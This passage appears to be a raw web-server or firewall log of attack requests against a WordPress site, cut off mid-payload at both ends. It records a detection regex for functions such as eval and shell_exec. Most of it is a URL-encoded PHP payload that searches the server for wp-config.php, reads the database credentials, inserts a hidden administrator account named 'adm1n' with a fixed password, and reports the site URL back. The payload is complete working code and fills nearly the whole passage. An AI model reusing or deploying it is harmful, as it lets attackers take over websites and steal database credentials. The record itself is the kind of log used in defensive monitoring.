url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B","POST \/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php HTTP\/1.1\nsec-ch-ua-platform:\"macOS\"\nhost:dewenlabels.com\nsec-fetch-site:none\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=17267dbb927e97128879218d3d0962ca; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEyNvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:12640\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-fetch-user:?1\nsec-ch-ua-mobile:?0\nsec-fetch-mode:navigate\n\nFP=%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B"]
["2026-04-20 11:24:53","213.209.159.254","POST","\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> aReDtp:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%